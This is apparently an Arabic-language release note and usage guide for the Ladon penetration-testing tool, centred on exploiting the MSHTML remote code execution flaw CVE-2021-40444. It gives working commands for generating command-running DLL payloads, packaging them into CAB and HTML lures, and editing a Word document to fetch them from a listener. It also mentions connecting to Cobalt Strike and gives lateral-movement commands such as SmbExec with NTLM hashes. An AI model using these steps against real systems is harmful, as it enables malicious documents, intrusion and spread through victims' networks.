
أداة استغلال لثغرة CVE-2021-40444 الخاصة بتنفيذ التعليمات البرمجية عن بُعد في MSHTML، تتضمن توليد حمولات DLL، وصياغة مستندات Office، ووحدات حركة جانبية (SmbExec، WmiExec) لاختبار الاختراق.
في 8 سبتمبر بتوقيت بكين، رصد فريق CERT في شركة NSFOCUS أن Microsoft نشرت إعلانًا أمنيًا كشفت فيه عن ثغرة تنفيذ التعليمات البرمجية عن بُعد في Microsoft MSHTML. يمكن للمهاجم إنشاء عناصر تحكم ActiveX خبيثة لاستخدامها في مستندات Microsoft Office التي تستضيف محرك عرض المتصفح، وبعد نجاح إقناع المستخدم بفتح المستند الخبيث، يمكن تنفيذ تعليمات برمجية عشوائية على النظام المستهدف بصلاحيات ذلك المستخدم. وأشارت Microsoft في الإعلان إلى أنها رصدت استغلال هذه الثغرة في البرية، فيُرجى من المستخدمين المعنيين اتخاذ إجراءات للحماية.
MSHTML (المعروف أيضًا باسم Trident) هو محرك متصفح Internet Explorer من Microsoft، ويُستخدم أيضًا في تطبيقات Office لعرض المحتوى المستضاف على الويب داخل مستندات Word أو Excel أو PowerPoint. تُعد عناصر تحكم ActiveX نتاجًا لبنية COM من Microsoft، ولها تطبيقات واسعة في مجموعة Office ومتصفح IE على أنظمة Windows، ويمكن استخدام عناصر تحكم ActiveX للتفاعل مع مكونات MSHTML.
تشمل Windows 7/8/8.1/10 و Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022
Ladon 8.9 2021.9.14 [+]CVE-2021-40444 ثغرة تنفيذ التعليمات البرمجية عن بُعد في Microsoft MSHTML، وحدة استغلال مستندات Office الإصدارات المتأثرة: تشمل Windows 7/8/8.1/10 و Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022 [+]CmdDll تحويل cmd إلى DLL (حمولة لتنفيذ أوامر DLL لثغرات 0day في أنظمة Windows، ويمكنها مباشرة الاتصال بـ CobaltStrike عبر powershell) ثغرات تجاوز سعة المخزن المؤقت مثل MS17010، ورفع الصلاحيات المحلية مثل CVE-2021-1675 وغيرها، وثغرات غير متعلقة بالتجاوز مثل أحدث ثغرة Office CVE-2021-40444 وغيرها
Ladon 8.8 2021.911 [+]SmbExec تنفيذ غير تفاعلي عبر NTLM-HASH بدون إخراج [u]GetInfo إضافة معلومات جهاز VMware الافتراضي [u]OsScan إضافة التعرف على أجهزة توجيه Vigor Router [u]إضافة التعرف على الأجهزة الافتراضية Xen\VBOX\Hybrid\Parallels [+]GetInfo إضافة cmdkey و RrpLog وبرامج التشغيل المثبتة وقائمة البرامج والملفات التي تم الوصول إليها مؤخرًا وغيرها [+]GetInfo إضافة GUID و CPUID ومعرف القرص الصلب وكشف البوابات الخلفية عند بدء التشغيل الذاتي (اختطاف DLL والسجل وغيرها) [+]GetInfo2 إضافة الحصول على معلومات تصحيحات WMI [+]المعلومات الافتراضية إضافة تنبيه مميز عندما تكون المساحة المتبقية على القرص C أقل من 2G
Usage:
Ladon CmdDll x86 calc
Ladon CmdDll x64 calc
Ladon CmdDll b64x86 YwBhAGwAYwA=
Ladon CmdDll b64x64 YwBhAGwAYwA=
يُرجى استخدام أمر CMD المناسب وفقًا للاحتياجات الفعلية لتوليد ملف DLL، والمثال هنا هو تشغيل الآلة الحاسبة
Usage:
Ladon CVE-2021-40444 MakeCab poc.dll
Ladon CVE-2021-40444 MakeHtml http://192.168.1.8
ملاحظة: تتطلب هذه الوحدة استخدام Ladon40.exe
Win10 x64 0ffice 2019
فقط قم بتنزيل أي إصدار تجريبي، لا حاجة للتفعيل، وإذا كان الملف الذي تم تنزيله بصيغة IMG فقم بتغيير الامتداد إلى ZIP ثم فك الضغط للتثبيت.
نظرًا لأن النظام الهدف هو Win10 X64، فإننا نستخدم إصدار 64-بت من DLL، الأمر: Ladon CVE-2021-40444 MakeCab sc64.dll
عند توليد html، يجب أن يشير الرابط URL إلى عنوان الاستماع الخاص بـ Ladon
تم إرسال العينة في 10 سبتمبر في小密圈، قم بتغيير امتداد docx إلى cab أو zip حتى تتمكن من تعديل ملف rels ليشير إلى poc.html على عنوان الاستماع الخاص بـ Ladon، ثم احفظ وأعد التسمية إلى .docx
عند تنفيذ ملف doc على Win10، يمكن رؤية عملية الطلبات بالكامل عبر الاستماع في Ladon؛ يصل docx أولًا إلى html، ثم تقوم الثغرة بتحميل ملف CAB الذي قمنا بتغليفه، ويتم تنفيذ تثبيت INF عبر CPL لتحميل ملف DLL الخاص بنا، وتوضح التجربة أن وظيفة DLL هي تشغيل الآلة الحاسبة.
Load SmbExec
Usage:
Ladon SmbExec host user pass cmd whoami
Ladon SmbExec host user pass b64cmd dwBoAG8AYQBtAGkA
عند تنفيذ SmbExec في shell الخاص بـ Cobalt Strike مع معاملات تحتوي على مسافات وعلامات اقتباس، توجد مشكلة في هروب الأحرف في CS، لذا يكون استخدام أوامر CMD العادية مزعجًا؛ لذلك أضفت معامل b64cmd لتسهيل الاستخدام في CS (هذه الطريقة استُخدمت في BypassUac منذ عدة أشهر، وكثير من الناس لا يعرفون السبب وراء ذلك؛ أليست أوامر CMD المباشرة أفضل؟ ولماذا المرور بخطوة تشفير إضافية؟ عندما يحتوي أمر CMD الذي تريد تنفيذه على الكثير من أحرف الهروب ستعرف السبب؛ فالحصول على أمر CMD سليم عبر تحويل هروب CS إلى هروب CMD أمر مزعج للغاية). يمكن توليد أمر b64cmd عبر استخدام تشفير Base64Unicode في إصدارات LadonGUI بعد 8.2
| ID | اسم الوحدة | الوصف | الاستخدام |
|---|---|---|---|
| 1 | WmiExec | تنفيذ الأوامر عبر المنفذ 135 | http://k8gege.org/Ladon/WinShell.html |
| 2 | PsExec | تنفيذ الأوامر عبر المنفذ 445 | http://k8gege.org/Ladon/WinShell.html |
| 3 | AtExec | تنفيذ الأوامر عبر المنفذ 445 | http://k8gege.org/Ladon/WinShell.html |
| 4 | SshExec | تنفيذ الأوامر عبر المنفذ 22 | http://k8gege.org/Ladon/WinShell.html |
| 5 | JspShell | تنفيذ الأوامر عبر جملة واحدة في Jsp | http://k8gege.org/p/ladon_cs_shell.html |
| 6 | WebShell | تنفيذ الأوامر عبر WebShell | http://k8gege.org/Ladon/webshell.html |
| 7 | WinrmExec | تنفيذ الأوامر عبر المنفذ 5895 | http://k8gege.org/Ladon/WinrmExec.html |
| 8 | SmbExec | تنفيذ الأوامر عبر HASH على المنفذ 445 | http://k8gege.org/Ladon/SmbExec.html |
PowerLadon: https://github.com/k8gege/PowerLadon الإصدارات السابقة: http://github.com/k8gege/Ladon/releases الإصدار 7.0: http://k8gege.org/Download الإصدار 8.9: K8小密圈